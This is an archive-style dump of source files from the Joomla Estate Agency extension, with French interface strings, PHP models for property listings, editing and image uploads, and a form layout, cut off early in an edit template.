COM_JEA_FIELD_SEARCHFORM_LAND_SPACE_LABEL="Rechercher surface
terrain"
COM_JEA_FIELD_SEARCHFORM_LIVING_SPACE_LABEL="Rechercher surface
habitable"
COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_DESC="Définit la hauteur de la
Google map"
COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_LABEL="Hauteur de la Google
map"
COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_DESC="Définit la largeur de la
Google map"
COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_LABEL="Largeur de la carte"
COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BATHROOMS_LABEL="Rechercher nb de
salles de bains"
COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BEDROOMS_LABEL="Rechercher nb de
chambres à coucher"
COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_ROOMS_LABEL="Rechercher nombre de
pièces"
COM_JEA_FIELD_SEARCHFORM_ORIENTATION_LABEL="Rechercher
exposition"
COM_JEA_FIELD_SEARCHFORM_TOWNS_LABEL="Rechercher villes"
COM_JEA_FIELD_SEARCHFORM_TRANSACTION_TYPE_DESC="Si vous souhaitez que
la recherche s'applique uniquement un type de transaction"
COM_JEA_FIELD_SEARCHFORM_ZIP_CODES_LABEL="Recherche codes
postaux"
COM_JEA_FIELD_SEND_MAIL_TO_AUTHOR_DESC="Envoyez un mail à
l'auteur de l'annonce."
COM_JEA_FIELD_SEND_MAIL_TO_AUTHOR_LABEL="Envoyer un mail à
l'auteur"
COM_JEA_FIELD_SEND_OVER_FTP_DESC="Envoyer l'archive zip par
FTP"
COM_JEA_FIELD_SEND_OVER_FTP_LABEL="Envoyer par FTP"
COM_JEA_FIELD_SHOW_CREATION_DATE_LABEL="Afficher la date de
création"
COM_JEA_FIELD_SLOGAN_LABEL="Slogan"
COM_JEA_FIELD_SORT_BY_AREA_DESC="Affichage ou non du bouton de tri par
quartier"
COM_JEA_FIELD_SORT_BY_AREA_LABEL="Trier par quartier"
COM_JEA_FIELD_SORT_BY_DATE_DESC="Affichage ou non du bouton de tri par
date"
COM_JEA_FIELD_SORT_BY_DATE_LABEL="Trier par date"
COM_JEA_FIELD_SORT_BY_DEPARTMENT_DESC="Affichage ou non du bouton de
tri par département"
COM_JEA_FIELD_SORT_BY_DEPARTMENT_LABEL="Trier par département"
COM_JEA_FIELD_SORT_BY_LAND_SPACE_DESC="Affichage ou non du bouton de
tri par surface terrain"
COM_JEA_FIELD_SORT_BY_LAND_SPACE_LABEL="Trier par surface
terrain"
COM_JEA_FIELD_SORT_BY_LIVING_SPACE_DESC="Affichage ou non du bouton de
tri par surface habitable"
COM_JEA_FIELD_SORT_BY_LIVING_SPACE_LABEL="Trier par surface
habitable"
COM_JEA_FIELD_SORT_BY_POPULARITY_DESC="Affichage ou non du bouton de
tri par popularité"
COM_JEA_FIELD_SORT_BY_POPULARITY_LABEL="Trier par popularité"
COM_JEA_FIELD_SORT_BY_PRICE_DESC="Affichage ou non du bouton de tri
par prix"
COM_JEA_FIELD_SORT_BY_PRICE_LABEL="Trier par prix"
COM_JEA_FIELD_SORT_BY_TOWN_DESC="Affichage ou non du bouton de tri par
ville"
COM_JEA_FIELD_SORT_BY_TOWN_LABEL="Trier par ville"
COM_JEA_FIELD_SURFACE_UNIT_DESC="Mètres carrés ou Square feet"
COM_JEA_FIELD_SURFACE_UNIT_LABEL="Unité de surface"
COM_JEA_FIELD_SYMBOL_POSITION_DESC="Définit la position du symbole
monétaire."
COM_JEA_FIELD_SYMBOL_POSITION_LABEL="Position du symbole"
COM_JEA_FIELD_THOUSANDS_SEPARATOR_DESC="Séparateur des milliers
utilisé pour formater les nombres dans l'application."
COM_JEA_FIELD_THOUSANDS_SEPARATOR_LABEL="Séparateur des milliers
"
COM_JEA_FIELD_THUMB_MEDIUM_HEIGHT_DESC="Définir la hauteur des photos
moyennes."
COM_JEA_FIELD_THUMB_MEDIUM_HEIGHT_LABEL="Hauteur des photos
moyennes."
COM_JEA_FIELD_THUMB_MEDIUM_WIDTH_DESC="Définissez la largeur des
photos moyennes."
COM_JEA_FIELD_THUMB_MEDIUM_WIDTH_LABEL="Largeur des photos
moyennes."
COM_JEA_FIELD_THUMB_MIN_HEIGHT_DESC="Définir la hauteur des petites
photos."
COM_JEA_FIELD_THUMB_MIN_HEIGHT_LABEL="Hauteur de petites photos."
COM_JEA_FIELD_THUMB_MIN_WIDTH_DESC="Définir la largeur des petites
photos."
COM_JEA_FIELD_THUMB_MIN_WIDTH_LABEL="Largeur des petites photos."
COM_JEA_FIELD_THUMB_QUALITY_DESC="Cette valeur correspond à la
compression JPEG. La plage de valeurs va de 0 à 100 (meilleure
qualité)."
COM_JEA_FIELD_THUMB_QUALITY_LABEL="Qualité des photos"
COM_JEA_FIELD_TOWN_FILTER_DESC="Filtrer sur une ville"
COM_JEA_FIELD_TOWN_LABEL="Ville"
COM_JEA_FIELD_TRANSACTION_TYPE_LABEL="Type de transaction"
COM_JEA_FIELD_TYPE_LABEL="Type de bien"
COM_JEA_FIELD_USE_AJAX_DESC="Cette option rafraîchit les listes du
formulaire et affiche le nombre de biens en interagissant avec le choix de
l'utilisateur."
COM_JEA_FIELD_USE_AJAX_LABEL="Activer AJAX"
COM_JEA_FIELD_USE_CAPTCHA_DESC="Utiliser image captcha pour valider le
formulaire de contact."
COM_JEA_FIELD_USE_CAPTCHA_LABEL="Utiliser un captcha"
COM_JEA_FIELD_ZIP_CODE_LABEL="Code postal"
COM_JEA_FIELD_ZIP_NAME_DESC="Le nom de l'archive zip contant les
fichiers de l'export"
COM_JEA_FIELD_ZIP_NAME_LABEL="Nom du zip"
COM_JEA_FINANCIAL_INFORMATIONS="Informations financières"
COM_JEA_FORUM="Forum"
COM_JEA_GATEWAYS="Passerelles"
COM_JEA_GATEWAY_DOWNLOAD_ZIP="Télécharger le zip"
COM_JEA_GATEWAY_ERROR_CANNOT_EXTRACT_ZIP="Impossible d'extraire
l'archive : %s"
COM_JEA_GATEWAY_ERROR_EXPORT_DIRECTORY_CANNOT_BE_CREATED="Le
répertoire d'exportation %s ne peut pas être créé."
COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_CONNECT_TO_HOST="Impossible de se
connecter à l'hôte FTP"
COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_LOGIN="FTP: Impossible de
s'identifier. Veuillez vérifier vos paramètres de connexion."
COM_JEA_GATEWAY_ERROR_FTP_UNABLE_TO_SEND_FILE="FTP: Impossible
d'envoyer le fichier"
COM_JEA_GATEWAY_ERROR_IMPORT_DIRECTORY_NOT_FOUND="Le répertoire
d'importation %s n'a pas été trouvé."
COM_JEA_GATEWAY_ERROR_IMPORT_NO_ZIP_FOUND="Aucun fichier zip trouvé
dans le répertoire d'importation %s."
COM_JEA_GATEWAY_ERROR_ZIP_CREATION="L'archive zip %s ne peut pas
être créé"
COM_JEA_GATEWAY_FIELD_PROVIDER_LABEL="Fournisseur"
COM_JEA_GATEWAY_FTP_TRANSFERT_SUCCESS="Transfert FTP effectué avec
succès"
COM_JEA_GATEWAY_IMPORT_TIME_ELAPSED="Temps écoulé : %d sec."
COM_JEA_GATEWAY_IMPORT_TIME_REMAINING="Temps restant : %d sec."
COM_JEA_GATEWAY_PARAMS="Paramètres de la passerelle"
COM_JEA_GATEWAY_PARAMS_APPEAR_AFTER_SAVE="Les paramètres
apparaîtront après l'enregistrement de la passerelle"
COM_JEA_GATEWAY_PROPERTIES_CREATED="Biens ajoutés : %s"
COM_JEA_GATEWAY_PROPERTIES_DELETED="Biens supprimés : %s"
COM_JEA_GATEWAY_PROPERTIES_FOUND="Biens trouvés : %s"
COM_JEA_GATEWAY_PROPERTIES_UPDATED="Biens mis à jour : %s"
COM_JEA_HEADING_FEATURES_IMPORT_CSV="Importer un fichier CSV"
COM_JEA_HEADING_FEATURES_LIST_NAME="Nom de la liste"
COM_JEA_HEIGHT="hauteur"
COM_JEA_IMPORT="Importer"
COM_JEA_IMPORT_AJAX="Import en AJAX"
COM_JEA_IMPORT_CLI="Import par la ligne de commande"
COM_JEA_IMPORT_END_MESSAGE="Import terminé pour : %s"
COM_JEA_IMPORT_FROM_CSV="Importer depuis un CSV"
COM_JEA_IMPORT_FROM_JEA="Importer depuis JEA"
COM_JEA_IMPORT_FROM_JEA_DESC="Cet outil permet l'importation des
données depuis une autre installation de JEA/Joomla sur le même
serveur."
COM_JEA_IMPORT_LAUNCH="Lancer l'importation"
COM_JEA_IMPORT_PARAMETERS="Paramètres d'importation"
COM_JEA_IMPORT_START_MESSAGE="Import en cours pour : %s"
COM_JEA_JOOMLA_CONFIGURATION_FILE_NOT_FOUND="Le fichier de
configuration de Joomla n'a pas été trouvé."
COM_JEA_LAUNCH="Lancer"
COM_JEA_LICENCE="Licence"
COM_JEA_LIST_OF_AMENITY_TITLE="Équipements"
COM_JEA_LIST_OF_AREA_TITLE="Quartiers"
COM_JEA_LIST_OF_CONDITION_TITLE="États des biens"
COM_JEA_LIST_OF_DEPARTMENT_TITLE="Départements"
COM_JEA_LIST_OF_HEATINGTYPE_TITLE="Types de chauffage"
COM_JEA_LIST_OF_HOTWATERTYPE_TITLE="Types d'eau chaude"
COM_JEA_LIST_OF_SLOGAN_TITLE="Slogans"
COM_JEA_LIST_OF_TOWN_TITLE="Villes"
COM_JEA_LIST_OF_TYPE_TITLE="Types de bien"
COM_JEA_LOCALIZATION="Localisation"
COM_JEA_LOGO="Logo"
COM_JEA_LOGS="Logs"
COM_JEA_MAIN_DEVELOPER="Développeur principal"
COM_JEA_MAP_MARKER_LABEL="Glissez puis déposez le marqueur à la
position souhaitée."
COM_JEA_MAP_OPEN="Ouvrir la carte"
COM_JEA_MENU_PARAMS_LABEL="Paramètres JEA"
COM_JEA_MESSAGE_CONFIRM_DELETE="Êtes-vous sûr de vouloir supprimer
cet ou ces élément(s)?"
COM_JEA_MSG_SELECT_PROPERTY_TYPE="Sélectionnez un type de bien"
COM_JEA_NEW_PROPERTY="Nouveau bien"
COM_JEA_NOTES="Notes"
COM_JEA_NO_ITEM_SELECTED="Aucun élément sélectionné"
COM_JEA_NUM_LINES_IMPORTED_ON_TABLE="%s ligne(s) ont été
importée(s) dans la table %s"
COM_JEA_N_ITEMS_CHECKED_IN="%d élément(s) déverrouillé(s)"
COM_JEA_N_ITEMS_COPIED="%s élément(s) copié(s)"
COM_JEA_N_ITEMS_DELETED="%s élément(s) supprimé(s)"
COM_JEA_N_ITEMS_PUBLISHED="%s élément(s) publié(s)"
COM_JEA_N_ITEMS_UNPUBLISHED="%s élément(s) dépublié(s)"
COM_JEA_OPTION_AFTER_PRICE="Après le prix"
COM_JEA_OPTION_BEFORE_PRICE="Avant le prix"
COM_JEA_OPTION_DAILY="Quotidien"
COM_JEA_OPTION_EAST="Est"
COM_JEA_OPTION_EAST_WEST="Est-ouest"
COM_JEA_OPTION_FILE="Fichier"
COM_JEA_OPTION_LOGIN_AFTER_SAVE="Connexion après
l'enregistrement"
COM_JEA_OPTION_LOGIN_BEFORE_SAVE="Connexion avant
l'enregistrement"
COM_JEA_OPTION_MONTHLY="Mensuel"
COM_JEA_OPTION_NORTH="Nord"
COM_JEA_OPTION_NORTH_EAST="Nord-est"
COM_JEA_OPTION_NORTH_SOUTH="Nord-sud"
COM_JEA_OPTION_NORTH_WEST="Nord-ouest"
COM_JEA_OPTION_ORDER_ASCENDING="Par ordre croissant"
COM_JEA_OPTION_ORDER_DESCENDING="Par ordre décroissant"
COM_JEA_OPTION_RENTING="Location"
COM_JEA_OPTION_SELLING="Vente"
COM_JEA_OPTION_SOUTH="Sud"
COM_JEA_OPTION_SOUTH_EAST="Sud-est"
COM_JEA_OPTION_SOUTH_WEST="Sud-ouest"
COM_JEA_OPTION_URL="URL"
COM_JEA_OPTION_WEEKLY="Hebdomadaire"
COM_JEA_OPTION_WEST="Ouest"
COM_JEA_PICTURES="Photos"
COM_JEA_PRICE_PER_FREQUENCY_DAILY="/ jour"
COM_JEA_PRICE_PER_FREQUENCY_MONTHLY="/ mois"
COM_JEA_PRICE_PER_FREQUENCY_WEEKLY="/ semaine"
COM_JEA_PROJECT_HOME="Accueil du projet"
COM_JEA_PROPERTIES_CREATED="%d biens ajoutés"
COM_JEA_PROPERTIES_FOUND_TOTAL="%d biens trouvés"
COM_JEA_PROPERTIES_MANAGEMENT="Gérer les biens"
COM_JEA_PROPERTIES_SEARCH_FILTER_DESC="Rechercher par ref, ID, titre
ou auteur"
COM_JEA_PROPERTIES_UPDATED="%d biens mis à jour"
COM_JEA_PUBLICATION_INFO="Infos de publication"
COM_JEA_START_IMPORT="Démarrer l'importation"
COM_JEA_TOOLS="Outils"
COM_JEA_UPLOAD_DESTINATION_DIRECTORY_DOESNT_EXISTS="Impossible de
télécharger le fichier car le répertoire de destination n'existe
pas."
COM_JEA_UPLOAD_DESTINATION_DIRECTORY_NOT_WRITABLE="Impossible de
télécharger le fichier car le répertoire de destination n'est pas
accessible en écriture."
COM_JEA_UPLOAD_DESTINATION_FILE_ALREADY_EXISTS="Impossible de
télécharger le fichier car le fichier de destination existe déjà."
COM_JEA_UPLOAD_DESTINATION_FILE_NOT_WRITABLE="Impossible de
télécharger le fichier car le fichier de destination existe déjà et
n'est pas accessible en écriture."
COM_JEA_UPLOAD_ERR_CANT_WRITE="Impossible d'écrire le fichier
temporaire sur le disque."
COM_JEA_UPLOAD_ERR_NO_TMP_DIR="Il manque un dossier temporaire pour
télécharger le fichier."
COM_JEA_UPLOAD_ERR_PARTIAL="Le fichier téléchargé n'a été
que partiellement téléchargé."
COM_JEA_UPLOAD_ERR_SIZE="Le fichier téléchargé excède la taille
maximale autorisée."
COM_JEA_UPLOAD_FILE_EXTENSION_NOT_PERMITTED="L'extension du
fichier téléchargé n'est pas autorisée."
COM_JEA_UPLOAD_UNKNOWN_ERROR="Erreur inconnu : Le fichier n'a pas
été téléchargé."
COM_JEA_VERSIONS="Versions"
COM_JEA_WIDTH="Largeur"

JGLOBAL_NUMBER_ITEMS_LIST_DESC="Définit le nombre d'éléments
par défaut listés sur une page de résultats "
JGLOBAL_NUMBER_ITEMS_LIST_LABEL="Limite des listes"

models/properties.php000064400000014237151165174020010745 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Properties model class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JModelList
 *
 * @since       2.0
 */
class JeaModelProperties extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration
settings.
	 *
	 * @see     JModelList
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'p.id',
				'p.ordering',
				'p.price',
				'p.featured',
				'p.published',
				'access_level',
				'author',
				'p.created',
				'p.hits',
				'language',
				'search',
				'transaction_type',
				'type_id',
				'department_id',
				'town_id',
				'language'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' .
$this->getState('filter.transaction_type');
		$id .= ':' .
$this->getState('filter.department_id');
		$id .= ':' . $this->getState('filter.town_id');
		$id .= ':' . $this->getState('filter.language');

		return parent::getStoreId($id);
	}

	/**
	 * Overrides parent method
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @see JModelList::populateState()
	 */
	protected function populateState($ordering = 'p.id', $direction
= 'desc')
	{
		$transaction_type = $this->getUserStateFromRequest($this->context .
'.filter.transaction_type', 'filter_transaction_type');
		$this->setState('filter.transaction_type',
$transaction_type);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$type_id = $this->getUserStateFromRequest($this->context .
'.filter.type_id', 'filter_type_id');
		$this->setState('filter.type_id', $type_id);

		$department_id = $this->getUserStateFromRequest($this->context .
'.filter.department_id', 'filter_department_id');
		$this->setState('filter.department_id', $department_id);

		$town_id = $this->getUserStateFromRequest($this->context .
'.filter.town_id', 'filter_town_id');
		$this->setState('filter.town_id', $town_id);

		$language = $this->getUserStateFromRequest($this->context .
'.filter.language', 'filter_language', '');
		$this->setState('filter.language', $language);

		parent::populateState($ordering, $direction);
	}

	/**
	 * Overrides parent method
	 *
	 * @return  JDatabaseQuery  A JDatabaseQuery object to retrieve the data
set.
	 *
	 * @see JModelList::getListQuery()
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		$dispatcher = JDispatcher::getInstance();

		// Include the jea plugins for the onBeforeSearchQuery event.
		JPluginHelper::importPlugin('jea');

		$query->select(
			'p.id, p.ref, p.transaction_type, p.address, p.price,
p.rate_frequency, p.created,
             p.featured, p.published, p.publish_up, p.publish_down,
p.access, p.ordering, p.checked_out, p.checked_out_time,
             p.created_by, p.hits, p.language '
		);

		$query->from('#__jea_properties AS p');

		// Join viewlevels
		$query->select('al.title AS access_level');
		$query->join('LEFT', '#__viewlevels AS al ON al.id =
p.access');

		// Join departments
		$query->select('d.value AS `department`');
		$query->join('LEFT', '#__jea_departments AS d ON d.id =
p.department_id');

		// Join properties types
		$query->select('t.value AS `type`');
		$query->join('LEFT', '#__jea_types AS t ON t.id =
p.type_id');

		// Join towns
		$query->select('town.value AS `town`');
		$query->join('LEFT', '#__jea_towns AS town ON town.id =
p.town_id');

		// Join users
		$query->select('u.username AS `author`');
		$query->join('LEFT', '#__users AS u ON u.id =
p.created_by');

		// Join over the language
		$query->select('l.title AS language_title');
		$query->join('LEFT',
$db->quoteName('#__languages') . ' AS l ON l.lang_code =
p.language');

		// Filter by transaction type
		if ($transactionType =
$this->getState('filter.transaction_type'))
		{
			$query->where('p.transaction_type =' .
$db->Quote($db->escape($transactionType)));
		}

		// Filter by property type
		if ($typeId = $this->getState('filter.type_id'))
		{
			$query->where('p.type_id =' . (int) $typeId);
		}

		// Filter by departments
		if ($departmentId = $this->getState('filter.department_id'))
		{
			$query->where('p.department_id =' . (int) $departmentId);
		}

		// Filter by town
		if ($townId = $this->getState('filter.town_id'))
		{
			$query->where('p.town_id =' . (int) $townId);
		}

		// Filter by search
		if ($search = $this->getState('filter.search'))
		{
			$search = $db->Quote('%' . $db->escape($search, true) .
'%');
			$search = '(p.ref LIKE ' . $search . ' OR p.title LIKE
' . $search . ' OR p.id LIKE ' . $search . ' OR
u.username LIKE ' . $search . ')';
			$query->where($search);
		}

		// Filter by language.
		if ($language = $this->getState('filter.language'))
		{
			$query->where('p.language = ' . $db->quote($language));
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'p.id');
		$orderDirn = $this->state->get('list.direction',
'desc');

		// If language order selected order by languagetable title
		if ($orderCol == 'language')
		{
			$orderCol = 'l.title';
		}

		$query->order($db->escape($orderCol . ' ' . $orderDirn));

		$dispatcher->trigger('onBeforeSearch', array(&$query,
&$this->state));

		return $query;
	}
}
models/property.php000064400000020750151165174020010432 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;

/**
 * Property model class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @see         JModelAdmin
 *
 * @since       2.0
 */
class JeaModelProperty extends JModelAdmin
{
	/**
	 * The event to trigger after saving the data.
	 *
	 * @var string
	 */
	protected $event_after_save = 'onAfterSaveProperty';

	/**
	 * The event to trigger before saving the data.
	 *
	 * @var string
	 */
	protected $event_before_save = 'onBeforeSaveProperty';

	/**
	 * Overrides parent method
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @see JModelForm::getForm()
	 */
	public function getForm($data = array(), $loadData = true)
	{
		$dispatcher = JDispatcher::getInstance();

		// Include the jea plugins for the on after load property form events.
		JPluginHelper::importPlugin('jea');

		$form = $this->loadForm('com_jea.property',
'property', array('control' => 'jform',
'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;
		$id = $jinput->get('id', 0);
		$user = JFactory::getUser();
		$item = $this->getItem($id);

		// Remove deposit field if transaction type is not SELLING
		if (empty($item->transaction_type) || $item->transaction_type ==
'SELLING')
		{
			$form->removeField('deposit');
			$form->removeField('rate_frequency');
		}
		elseif ($item->transaction_type == 'RENTING')
		{
			$form->setFieldAttribute('price', 'label',
'COM_JEA_FIELD_PRICE_RENT_LABEL');
		}

		// Check for existing article.
		// Modify the form based on Edit State access controls.
		if ($id != 0 && (!
$user->authorise('core.edit.state',
'com_jea.property.' . (int) $id))
			|| ($id == 0 && !
$user->authorise('core.edit.state', 'com_jea')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('featured', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');

			// Disable fields while saving. The controller has already verified this
is an article you can edit.
			$form->setFieldAttribute('featured', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}

		// Trigger the onAfterLoadPropertyForm event.
		$dispatcher->trigger('onAfterLoadPropertyForm',
array(&$form));

		return $form;
	}

	/**
	 * Overrides parent method
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success, False on error.
	 *
	 * @see JModelAdmin::save()
	 */
	public function save($data)
	{
		// Include the jea plugins for the on save events.
		JPluginHelper::importPlugin('jea');

		// Alter the title for save as copy
		if (JFactory::getApplication()->input->getCmd('task') ==
'save2copy')
		{
			$data['ref'] = JString::increment($data['ref']);
			$data['title'] = JString::increment($data['title']);
			$data['alias'] = JString::increment($data['alias'],
'dash');
		}

		if (empty($data['images']))
		{
			// Set a default empty json array
			$data['images'] = '[]';
		}

		if (parent::save($data))
		{
			return $this->processImages();
		}

		return false;
	}

	/**
	 * Method to manage new uploaded images and to remove non existing images
from the gallery
	 *
	 * @return boolean true on success otherwise false
	 */
	public function processImages()
	{
		$upload = JeaUpload::getUpload('newimages');
		$item = $this->getItem();
		$images = json_decode($item->images);

		if (empty($images))
		{
			$images = array();
		}

		$imageNames = array();

		foreach ($images as $row)
		{
			$imageNames[$row->name] = $row->name;
		}

		$baseUploadDir = JPATH_ROOT . '/images/com_jea/images';
		$validExtensions = array('jpg', 'JPG',
'jpeg', 'JPEG', 'gif', 'GIF',
'png', 'PNG');

		if (!Folder::exists($baseUploadDir))
		{
			Folder::create($baseUploadDir);
		}

		$uploadDir = $baseUploadDir . '/' . $item->id;

		if (is_array($upload))
		{
			foreach ($upload as $file)
			{
				if ($file->isPosted())
				{
					$file->setValidExtensions($validExtensions)->nameToSafe();

					if (! Folder::exists($uploadDir))
					{
						Folder::create($uploadDir);
					}

					if ($file->moveTo($uploadDir))
					{
						if (! isset($imageNames[$file->name]))
						{
							$image = new stdClass;
							$image->name = $file->name;
							$image->title = '';
							$image->description = '';
							$images[] = $image;

							// Update the list of image names
							$imageNames[$image->name] = $image->name;
						}
					}
					else
					{
						$errors = $file->getErrors();

						foreach ($errors as $error)
						{
							$this->setError(JText::_($error));
						}

						return false;
					}
				}
			}

			$table = $this->getTable();
			$table->load($item->id);
			$table->images = json_encode($images);
			$table->store();
		}

		if (Folder::exists($uploadDir))
		{
			// Remove image files
			$list = Folder::files($uploadDir);

			foreach ($list as $filename)
			{
				if (strpos($filename, 'thumb') === 0)
				{
					continue;
				}

				if (! isset($imageNames[$filename]))
				{
					$removeList = Folder::files($uploadDir, $filename . '$',
false, true);

					foreach ($removeList as $removeFile)
					{
						File::delete($removeFile);
					}
				}
			}
		}

		return true;
	}

	/**
	 * Method to toggle the featured setting of properties.
	 *
	 * @param   array    $pks    The ids of the items to toggle.
	 * @param   integer  $value  The value to toggle to.
	 *
	 * @return  void.
	 */
	public function featured($pks, $value = 0)
	{
		// Sanitize the ids.
		$pks = ArrayHelper::toInteger((array) $pks);

		$db = $this->getDbo();
		$db->setQuery('UPDATE #__jea_properties SET featured = ' .
(int) $value . ' WHERE id IN (' . implode(',', $pks) .
')');
		$db->execute();
	}

	/**
	 * Method to copy a set of properties.
	 *
	 * @param   array  $pks  The ids of the items to copy.
	 *
	 * @return  void.
	 */
	public function copy($pks)
	{
		// Sanitize the ids.
		$pks = (array) $pks;
		ArrayHelper::toInteger($pks);

		$table = $this->getTable();
		$nextOrdering = $table->getNextOrder();

		$fields = $table->getProperties();

		unset($fields['id']);
		unset($fields['checked_out']);
		unset($fields['checked_out_time']);

		$fields = array_keys($fields);
		$query = 'SELECT ' . implode(', ', $fields) . '
FROM #__jea_properties WHERE id IN (' . implode(',', $pks) .
')';
		$rows = $this->_getList($query);

		foreach ($rows as $row)
		{
			$row = (array) $row;
			$row['ref'] = JString::increment($row['ref']);
			$row['title'] = JString::increment($row['title']);
			$row['alias'] = JString::increment($row['alias'],
'dash');
			$row['ordering'] = $nextOrdering;
			$row['created'] = date('Y-m-d H:i:s');

			$table->bind($row);
			$table->store();

			$nextOrdering ++;
		}
	}

	/**
	 * Overrides parent method
	 *
	 * @param   array  $pks   An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @see JModelAdmin::delete()
	 */
	public function delete(&$pks)
	{
		if (parent::delete($pks))
		{
			// Remove images folder
			foreach ($pks as $id)
			{
				if (Folder::exists(JPATH_ROOT . '/images/com_jea/images/' .
$id))
				{
					Folder::delete(JPATH_ROOT . '/images/com_jea/images/' .
$id);
				}
			}

			return true;
		}

		return false;
	}

	/**
	 * Overrides parent method
	 *
	 * @return  array  The default data is an empty array.
	 *
	 * @see JModelForm::loadFormData()
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data. See
		// JControllerForm::save()
		$data =
JFactory::getApplication()->getUserState('com_jea.edit.property.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		return $data;
	}

	/**
	 * Overrides parent method
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  array  An array of conditions to add to ordering queries.
	 *
	 * @see JModelAdmin::getReorderConditions()
	 */
	protected function getReorderConditions($table)
	{
		$db = $table->getDbo();
		$condition = array();
		$condition[] = 'transaction_type = ' .
$db->quote($table->transaction_type);

		return $condition;
	}
}
models/form.php000064400000002625151165174020007512 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

// Base this model on the backend version.
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/models/property.php';

JTable::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR .
'/tables');

/**
 * Property form model class.
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 *
 * @see         JeaModelProperty
 *
 * @since       2.0
 */
class JeaModelForm extends JeaModelProperty
{
	/**
	 * The model (base) name should be the same as parent
	 *
	 * @var string
	 */
	protected $name = 'property';

	/**
	 * Overrides parent method
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @see JeaModelProperty::getForm()
	 */
	public function getForm($data = array(), $loadData = true)
	{
		JForm::addFormPath(JPATH_COMPONENT_ADMINISTRATOR .
'/models/forms');
		JForm::addFieldPath(JPATH_COMPONENT_ADMINISTRATOR .
'/models/fields');

		$form = parent::getForm($data, $loadData);

		return $form;
	}
}
views/form/tmpl/edit.xml000064400000001140151165174020011265
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_JEA_FORM_EDIT_LAYOUT_TITLE">
		<message>
			<![CDATA[COM_JEA_FORM_EDIT_LAYOUT_DESC]]>
		</message>
	</layout>
	
	<fields name="params">
		<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL">
			<field name="login_behavior" default="before"
type="list" 
				label="COM_JEA_FIELD_LOGIN_BEHAVIOR_LABEL"
description="COM_JEA_FIELD_LOGIN_BEHAVIOR_DESC">
				<option
value="before">COM_JEA_OPTION_LOGIN_BEFORE_SAVE</option>
				<option
value="after">COM_JEA_OPTION_LOGIN_AFTER_SAVE</option>
			</field>
		</fieldset>
	</fields>
</metadata>views/form/tmpl/edit.php000064400000015241151165174020011263
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @var $this JeaViewForm
 */

JHtml::_('behavior.keepalive');
JHtml::_('behavior.tooltip');
